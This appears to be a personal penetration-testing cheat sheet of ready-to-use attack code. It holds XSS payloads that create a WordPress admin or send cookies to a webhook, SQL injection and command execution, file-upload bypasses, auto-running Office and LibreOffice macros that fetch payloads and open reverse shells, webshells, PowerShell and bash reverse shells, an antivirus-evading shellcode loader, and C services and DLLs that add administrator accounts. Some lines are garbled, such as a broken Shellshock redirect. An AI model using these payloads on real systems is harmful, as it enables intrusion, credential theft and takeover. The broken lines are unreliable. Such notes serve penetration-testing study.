Skip to content

💥 Code & Exploits CheatSheet

Online Resources:

🕸Web Attack Payloads

XSS

  • Hakluke weaponized XSS payloads

  • if secure enabled then cookies are sent through encrypted traffic

  • if httponly means javascript can't access cookies
  • if we can't access cookies then we can try to perform any malcious actions on behalf of our victim user like adding new user for us in the wordpress jscompress

Test Characters

< > ' " { } ;   // if any symbol comes unfiltered

Create New Admin on WordPress

var ajaxRequest = new XMLHttpRequest(),
    requestURL = "/wp-admin/user-new.php",
    nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, !1), ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),
    nonce = nonceMatch[1],
    params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
(ajaxRequest = new XMLHttpRequest()).open("POST", requestURL, !0), ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), ajaxRequest.send(params);
  • Minify the code first then encode it to charCode decimal to avoid badchar issue
  • cyberchef (toDecimal)
  • Then deliver the below payload
<script>eval(String.fromCharCode(118,97,114,32,97,....))</script>

XSS through SVG

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">  
      alert(0x539);
   </script>
</svg>
<html>
    <body>
        <!-- Hello world! -->
        <script type="text/javascript">
            document.location='https://webhook.site/106ea26d-f0b2-4d07-961a-e2129e035a84?c='+encodeURIComponent(btoa(document.cookie));
        </script>
    </body>
</html>

Directory Traversal

LINUX
/etc/psswd

WINDOWS
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\logs\LogFiles\W3SVC1\
C:\inetpub\wwwroot\web.config

Local File Inclusion

RCE using LFI through Log poisoning

Check the log files and then check which entry can be poisoned through which language(depends on the webserver)

/var/log/apache2/access.log

C:\xampp\apache\logs\access.log

PHP Wrappers

Using php://filter, we can also display the contents of executable files such as .php, rather than executing them

php://filter/resource=admin.php
php://filter/convert.base64-encode/resource=admin.php
we can use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method when we cannot poison a local file with PHP code.
data://text/plain,<?php%20echo%20system('ls');?>
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls
This is a handy technique that may help us bypass basic filters. However, we need to be aware that the data:// wrapper will not work in a default PHP installation. To exploit it, the allow_url_include setting needs to be enabled.

File Upload

https://www.onsecurity.io/blog/file-upload-checklist/#uploading-a-htaccess-file https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

![[Insecure File Upload Methdology.png]]

  • Can be leveraged to upload executable files (e.g., PHP).
  • Can be leveraged to upload and replace sensitive files, such as authorized_keys. We first go with root user (as don't have idea of other users)
  • Can be combined with attacks like XXE or XSS by uploading malicious SVG files (e.g., embedding XXE in an avatar upload to read files or execute code).
  • We can try to upload a CV in .docx format with malicious macros integrated

Bypass Filters

#Case change
.PhP
#other types

[ .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .phar and .inc ]

#end with null characters
.php%00

# [All the file upload extension list](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/by-vulnerability/file-upload-restrictions-bypass/file-extension-filters-bypass) 
- Change mime type - Add image headers - Add payload in exiftool comment and name file as file.php.png - ExifTool
    exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.php.jpeg
strings cat.php.jpeg | grep system
file cat.php.jpeg

# try without .php
# call like the below
cat.php.jpeg?cmd=whoami
`

Upload Configuration Files

If you are trying to upload files to a :

  • PHP server, take a look at the .htaccess trick to execute code.
  • ASP server, take a look at the web.config trick to execute code.
  • uWSGI server, take a look at the uwsgi.ini trick to execute code. ``` title:.htaccess AddType application/x-httpd-php .rce
    Explanation on config files:
    - [web.confg details](https://soroush.me/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
    - [htaccess](https://www.onsecurity.io/blog/file-upload-checklist/#uploading-a-htaccess-file)
    ### Command Injection
    
    ```powershell
    # Command to check what's running on windows
    (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
    
    # command seperators
    ; # in powershell and bash
    & # in cmd
    && # in everywhere but second command runs when first succeed
    
$IFS #instead of space

# To verify for command injection possibility
$?    # means the string is inside "" double quotes
$(whoami)  # to execute commands within echo ""

SQLI Payloads

MySQL, Microsoft SQL Server, PostgreSQL, and Oracle are the most popular database implementations MySQL is one of the most deployed database variants, along with MariaDB, an open-source fork of MySQL. - PayloadAllTheThings SQLI - Blind SQLI Manual exploitation - PentestMonkey Cheatsheet

''+!@#$  -- all the special characters    

'offsec' OR 1=1 -- //
# We are doing that to raise an error in order to get an output of version
'' or 1=1 in (select @@version) -- //      

-- Union Based
-- Verifying exact number of columns
'' ORDER BY 1-- //
'%' UNION SELECT 'a1', 'a2', 'a3', 'a4', 'a5' -- //

-- boolean based
'admin' AND BINARY SUBSTRING((SELECT password FROM users WHERE username = 'admin'),FUZZ_INDEX,1) = 'FUZZ_CHAR';#---

-- Time Based 
'' AND IF (1=1, sleep(3),'false') -- //
'admin' AND IF (SUBSTRING(@@version, FUZZ_INDEX, 1) = FUZZ_CHAR, sleep(3),'false');#---

-- MS SQL CODE EXECUTION
EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE; EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXECUTE xp_cmdshell 'whoami'; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
Check for ffuf commands for Blind SQLi [[Commands - Quick Reference Cheatsheet]]

🧑 Client Side Payloads

Microsoft VBA Macro Shell

  • Macro generator employing msfvenom for revshell.exe payload doc OR docm file types can be used. VBA has a 255 character limit for literal strings but not for variables.
    # to divide our powershell command into smaller chunks for vba literal string
    
    str = "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwA..."
    
    n = 50
    
    for i in range(0, len(str), n):
        print("Str = Str + " + '"' + str[i:i+n] + '"')
    

1

“Developer” > “Macros” > “Visual Basic”

Sub test()  
' test Macro  
Dim objshell As Object  
Set objshell = CreateObject("Wscript.Shell")  
objshell.Run "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command ""$command = {while($true){try {$cl = New-Object System.Net.Sockets.TcpClient('192.168.1.198',443);$st = $cl.GetStream();$rd = New-Object IO.StreamReader($st);$wr = New-Object IO.StreamWriter($st);$wr.AutoFlush = $true;while($cl.Connected){$cmd = $rd.ReadLine();if($cmd -eq 'exit'){break;}try{$res = iex $cmd 2>&1 | Out-String;}catch{$res = $_.Exception.Message;} $wr.WriteLine($res);$wr.Flush();}$cl.Close();}catch{Start-Sleep -Seconds 10;}}}; Start-Process powershell -WindowStyle Hidden -ArgumentList '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $command"""  
Set objshell = Nothing  
End Sub
Then add the below in the thisDocument section
Sub AutoOpen()  
    Call test  
End Sub

2 Reference:

Sub Document_Open()  
    MyMacro  
End Sub
Sub AutoOpen()  
    MyMacro  
End Sub

Sub MyMacro()  
    Dim str As String  
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/reverseshell.exe', 'reverseshell.exe')"  
    Shell str, vbHide  
    Dim exePath As String  
    exePath = ActiveDocument.Path + "\reverseshell.exe"  
    Wait (2)  
    Shell exePath, vbHideEnd SubSub Wait(n As Long)  
    Dim t As Date  
    t = Now  
    Do  
        DoEvents  
    Loop Until Now >= DateAdd("s", n, t)  
End Sub

3

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String

    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
    ...
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub

LibreOffice Macro shell

Goto Tools -> Macros -> Organize Macros -> Basic then create macro within that odt document

Sub Main
    Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.119.3/powercat.ps1');powercat -c 192.168.119.3 -p 4444 -e powershell ")
End Sub
Then goto customize, Select open document and then Assign our Macro to it.

Microsoft Library File

Library File Schema Filename: config.Library-ms

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.155</url> <!-- webdav ip -->
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Host a malicious windowss shortcut file in that webdav directory that will gonna give us back the reverse shell.

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Shortcut file content
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.158:8888/psh_scripts/powercat.ps1'); powercat -c 192.168.45.158 -p 4444 -e powershell"

Vulnerabilities OR CVE

Shellshock

CVE ID Description
CVE-2014-6271 (RCE) The original Shellshock vulnerability
CVE-2014-7169 Incomplete patch for 6271
CVE-2014-7186 Memory corruption when handling deeply nested functions
CVE-2014-7187 Off-by-one error in Bash parser (loop construct)
CVE-2014-6277 Exploitable parser bug (discovered by Michal Zalewski)
CVE-2014-6278 (RCE) Another parser bug (also by Michal Zalewski)
User-Agent: () { ignored;};/bin/bash -i >& /dev/10.10.14.6/4444/port 0>&1

User-Agent: () { :;};/bin/bash -i >& /dev/10.10.14.6/4444/port 0>&1
Exploit Online:

exploitdb 34900 Cisco UCS Manager 2014-6278

Victim Machine Payloads & Shells

Shells

  • https://github.com/samratashok/nishang
  • https://www.revshells.com/

WP plugin shells

"; system($_GET['cmd']); echo ""; exit; } // zip -r malplugin.zip malplugin // wp-content/plugins/malplugin/webshell.php to execute ?>
#### WP theme editor shell / webshell
```php
# inside theme functions.php
function webshell(){
  echo shell_exec($_GET['cmd']);
}
add_action('wp_head','webshell');

PhpMyAdmin Webshell

SELECT 
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';

-- [Reference](https://gist.github.com/BababaBlue/71d85a7182993f6b4728c5d6a77e669f?ref=benheater.com)

Php web/rev shells

<?php

if(isset($_REQUEST['cmd'])){
        $local_ip='192.168.45.155';
        $local_port='4455';
        system('IEX (New-Object System.Net.Webclient).DownloadString("http://'.$local_ip.'/psh_scripts/powercat.ps1");powercat -c '.$local_ip.' -p '.$local_port.' -e powershell ');
        die;
}

?>


// very simple one
<?php echo system($_GET["cmd"]); ?>

<?php
//reverse shell
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");  
?>

Powershell

Useful Powershell Scripts

$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.237",4455);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

# Encode the reverse shell
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

powershell -enc <encodedtext>
powershell -c "COMMANDS"
powershell -nop bypass -w hidden -enc/-c


# POWERCAT
# /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.237:8000/powercat.ps1");powercat -c 192.168.45.237 -p 4444 -e powershell 

# from nishang repo
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 6666

AV Bypass In-Memory Injection (PS1)

NOTE: Below powershell script runs in x86 architecture so run C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe to open powershell x86 Reference of the payload

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$var1 = 
  Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$var2 = <place your shellcode here>;

$size = 0x1000;

if ($var2.Length -gt 0x1000) {$size = $var2.Length};

$x = $var1::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($var2.Length-1);$i++) {$var1::memset([IntPtr]($x.ToInt32()+$i), $var2[$i], 1)};

$var1::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

# set execution policy
powershell.exe
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
# generate payload for the above script, below one works only in x86 poweshell not in x64
msfvenom -p windows/shell_reverse_tcp LHOST=IPkali LPORT=4444 -f powershell
# delivery/download
powershell.exe -ep Bypass -windowstyle hidden -nop iex (New-Object Net.WebClient).DownloadString('http://IPattacker/AVbypass.ps1'); Invoke-Function

AV evasion: Change code like var name, func name with more generic names for interpreted scripts to evade AV Kleenscan.com

Linux Shell

bash -c "<revshell-bash>"
# Some version of nc doesn't have the -e feature
busybox nc 192.168.45.175 7755 -e /bin/bash  # mostly work on every place as compared to other places 

Source C Code

Windows Service C code

```c title:Simple one

include

int main () { int i;

i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add");

return 0; }

```c title:windows_service.c
// x86_64-w64-mingw32-gcc winservice.c -o winservice.exe
#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 

void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("whoami > c:\\windows\\temp\\service.txt");
    system ("net user oscpstudent password123! /add");
    system ("net localgroup administrators oscpstudent /add");

    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;

    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 

    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 

    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);

    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
        Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 

        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 

        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
} 

Windows Dll C Code

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
        i = system ("net user dave3 password123! /add");
        i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Linux Shared Object in LD_PRELOAD C Code

// gcc -fPIC -shared -o shell.so shell.c -nostartfiles
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");  // to unset ld_preload for child process of system() otherwise it will start again during system() means infinite loop
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

shared object injection

# gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Linux service C code

// gcc shell_service.c -o shell_service
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);               // Ensure root privileges if installed as root-owned
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}